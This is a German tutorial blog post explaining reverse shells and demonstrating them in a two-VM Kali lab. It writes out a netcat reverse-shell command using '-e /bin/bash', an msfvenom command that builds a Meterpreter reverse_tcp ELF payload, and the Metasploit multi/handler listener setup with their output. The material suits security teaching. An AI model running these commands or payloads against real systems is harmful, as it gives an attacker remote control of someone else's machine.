Inhaltsverzeichnis
Wieso kompliziert, wenn’s auch einfach geht?
In der Welt der Cybersicherheit sind Reverse Shells ein zentrales Thema, das sowohl für Verteidiger als auch für Angreifer von Bedeutung ist. Eine Reverse-Shell ist eine Art von Shell, bei der die Verbindung von einem infizierten System initiiert wird, um einem Angreifer Kontrolle über dieses System zu geben. Während die traditionelle Shell-Verbindung von einem Angreifer initiiert wird, der eine direkte Verbindung zu einem Zielsystem herstellt, dreht die Reverse-Shell dieses Paradigma um. Ist doch praktisch, oder? Wieso soll man sich noch die Mühe machen, Vulnerabilitäten eines Systems zu finden und umständlich „einzubrechen“, wenn mit einer Reverse Shell aus einem System einfach „ausgebrochen“ werden kann?
Auf dieser Seite möchte ich lediglich einen kleinen Einblick geben, wie eine Reverse-Shell erstellt werden kann.
Was ist die grundlegende Idee der Reverse-Shell?
Eine Reverse Shell ist ein Werkzeug, das es einem Angreifer ermöglicht, einen entfernten Zugriff auf ein System zu erlangen. Es gibt verschiedene Arten von Shells. Die im folgenden aufgeführten Shell-Varianten sind meiner Erfahrung nach die gängigsten im Security-Bereich:
Command-Shell | Sehr einfach gehalten: Kommando als Input, Result als Output |
Reverse-Shell | Verbindungsaufbau vom Ziel- zum Angriffssystem. Schadcode muss auf dem Zielsystem ausgeführt werden. |
Bind-Shell | Öffnet einen Port auf dem Zielsystem, auf den sich der Angreifer verbinden kann. Schadcode muss auf dem Zielsystem ausgeführt werden. |
Im Gegensatz zu einer Bind-Shell, bei der ein Angreifer eine Verbindung zu einem offenen Port auf dem Zielsystem herstellt, wird bei einer Reverse Shell die Verbindung von der Opfermaschine zum Angreifer initiiert.
Netcat
Für viele Tools wie das Metasploit Framework (MSF) und Empire, bildet MSFVenom die Basis für Reverse-Shells. Mit diesem Programm können unterschiedliche Shells für verschiedene Betriebssysteme und Architekturen erstellt werden.
Um aber zuerst ein einfaches Beispiel für eine Shell zu geben, wurden zwei Kali Linux VMs erstellt. Mit dem Tool Netcat konnte eine Verbindung zwischen VM1 und VM2 aufgebaut werden:
VM1 (Zielsystem)
┌──(sven㉿vm1)-[~]
└─$ netcat -nv 192.168.0.117 4040 -e /bin/bash
(UNKNOWN) [192.168.0.117] 4040 (?) open
VM2 (Angriffssystem)
┌──(sven㉿vm2)-[~]
└─$ netcat -nvlp 4040
listening on [any] 4040 ...
connect to [192.168.0.117] from (UNKNOWN) [192.168.0.156] 50420
Ist die Verbindung aufgebaut, kann sich der Angreifer auf dem Zielsystem bewegen und mit ihm interagieren. Es muss darauf hingewiesen werden, dass diese Art der Verbindung NICHT verschlüsselt stattfindet. Wie die folgende Abbildung zeigt, kann der Netzwerkverkehr mit bspw. Wireshark im Klartext mitgeschnitten und ausgelesen werden:
In diesem Fall wurde der Befehl ls -lsap vom Angreifer durchgeführt, was auf der unteren rechten Seite mitgeschnitten werden konnte. In der nächsten Abbildung wird ein kleiner Ausschnitt der Antwort des Zielsystems dargestellt:
Auch hier werden die Paketinhalte als Klartext dargestellt. Auf eine genauere Paketanalyse werde ich an dieser Stelle nicht eingehen. Vielmehr soll im Folgenden das Tool MSFVenom genauer beleuchtet werden, um eine eigene Datei für eine Reverse-Shell zu erstellen.
MSFVenom
Wie schon erwähnt, wird dieses Programm zu Generierung von maliziösen Dateien genutzt. Dazu zählt auch eine Datei mit dem Ziel, eine Reverse-Shell von VM1 zu VM2 aufzubauen. Mit dem folgenden Befehl wird eine ausführbare Datei für Linux erstellt, die eine Meterpreter-Session im Zusammenhang mit dem Metasploit Framework öffnet:
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.0.117 LPORT=4040 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1068672 bytes
Final size of elf file: 1068672 bytes
Naja, wie die Ausgabe zeigt, können noch einige Zusatzoptionen mitgegeben werden. An sich ist die Datei jedoch nun fertig und kann auf das Zielsystem übernommen werden. Vor dem Ausführen der Datei müssen an dieser Stelle noch Vorbereitungen getroffen werden. Denn wie registriert das Angriffssystem, wann die Reverse-Shell aufgebaut werden soll?
MSF Listener / Multi-Handler
Da die neu erstellte Datei versucht, eine Meterpreter-Session aufzubauen, kann das Metasploit-Framework zum Handling der Verbindung über einen Listener bzw. Multi-Handler genutzt werden:
Start des MSFs
sudo msfdb start
msfconsole
Exploit multi/handler
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.—.—.117
msf6 exploit(multi/handler) > set LPORT 4040
msf6 exploit(multi/handler) > exploit
Sobald die Settings mit dem exploit-Befehl bestätigt wurden, prüft der Listener am Port 4040 auf eingehende Verbindungen. Wird die mit MSFVenom erstellte Datei nun unter Linux ausgeführt, kann eine erfolgreich aufgebaute Meterpreter-Session im MSF genutzt werden.
Da sowohl das MSF, als auch Meterpreter über sehr umfangreiche Funktionen verfügen, möchte ich an dieser Stelle auf die folgenden Dokumentationen verweisen:
Metasploit Framework | Kali Linux Doku | Metasploit Doku |
Meterpreter | OffSec Doku | Metasploit Doku |